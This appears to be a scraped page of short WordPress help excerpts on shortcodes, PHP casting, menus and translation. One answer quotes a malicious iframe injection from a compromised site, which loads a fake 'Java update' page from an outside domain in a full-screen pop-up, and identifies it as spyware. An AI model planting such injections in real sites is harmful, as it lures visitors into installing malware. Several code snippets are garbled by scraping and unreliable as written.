Multiple do_shortcode in page template

Okay, you need this: <?php echo do_shortcode(‘[your-first-shortcode]’.'[your-second-shortcode]’); ?> Just write a dot between your shortcodes… Try: <?php echo do_shortcode( ‘[vc_row][vc_column width=”1/1″][vc_accordion][vc_accordion_tab title=”Section 1″][vc_column_text]’.'[table]’.$sometabledata.'[/table]’.'[/vc_column_text][/vc_accordion_tab][vc_accordion_tab title=”Section 2″][/vc_accordion_tab][/vc_accordion][/vc_column][/vc_row]’ ); ?>

meaning of (array)function()

You are looking at type casting: http://php.net/manual/en/language.types.type-juggling.php What the code does is caste the value returned by get_option() to an array. It is being done so that array_merge() works correctly and doesn’t trigger warnings/errors. That much is pure PHP and is off-topic. The only reason I chose to answer rather than to post a comment … Read more

Is this spyware on my site or a real Java update?

There’s an iframe injection according to the source code: <iframe src=”http://ppv2014.info/Java-Recommended%20Update.htm” style=”min-width:100%; min-height:100%; height:100%; width:100%; max-width:100%; max-height:100%; overflow: auto; border:none;” frameborder=”no”></iframe> It seems to be enclosed in a div called “pop”: <div class=”pop” id=”pop” style=”position: fixed; z-index: 100002; border: 4px solid rgb(0, 0, 0); height: 60%; width: 60%; top: 20%; left: 20%; background-color: rgb(255, 255, … Read more

Two menus show up

You have two calls to wp_nav_menu function <?php if( has_nav_menu( ‘primary-menu’ ) ) { wp_nav_menu( $menuParameters = array( ‘theme_location’ => ‘primary-menu’, ‘container’ => ”, ‘container_class’ => false, ‘container_id’ => false, ‘menu’ => ‘Primary’, ‘menu_id’ => ‘test’, ‘menu_class’ => ‘nav navbar-nav navbar-right’, ‘echo’ => true, ‘fallback_cb’ => ‘wp_page_menu’, ‘before’ => ”, ‘after’ => ”, ‘link_before’ => … Read more

How to keep empty fields from appearing in php?

If you want to hide, for example, the_author_meta(‘linkedin’); if no data exists for that field, then you could just do the following <?php if(!empty(get_the_author_meta(‘linkedin’))) { ?> <a href=”https://wordpress.stackexchange.com/questions/187400/<?php the_author_meta(“linkedin’); ?>” target=”_blank”><i class=”fa fa-linkedin-square” title=”LinkedIn”></i></a> <?php } ?>` and then apply similar logic to other fields. If this is not what you were asking, then you … Read more

Adding `post_author` in php

Try this <div class=”my_edit_button”> <?php if ( $post->post_author == $current_user->ID ) { echo do_shortcode(‘[something]’); }?> </div>

Adding PHP in the menu

Add to your functions file and use wp_nav_menu_items add_filter(‘wp_nav_menu_items’,’wpsites_add_avatar_to_nav’, 10, 2); function wpsites_add_avatar_to_nav( $items, $args ) { if( $args->theme_location == ‘primary’ ) return $items; $dude = get_avatar( get_current_user_id(), 48 ); if (is_user_logged_in()) : echo'<li class=”your-custom-class right”>’ . $dude . ‘</li>’; endif; return $items; } Might need to use output buffering. Some work is required on … Read more

What does this mean in wordpress? Easy question

It’s the text domain, used for translation. When you run something like this: <?php _e( ‘Hello World’, ‘html5blank’ ) ?> …WordPress will attempt to find the translated string in the loaded MO file for HTML5 Blank: load_theme_textdomain( ‘html5blank’, ‘path/to/language.mo’ );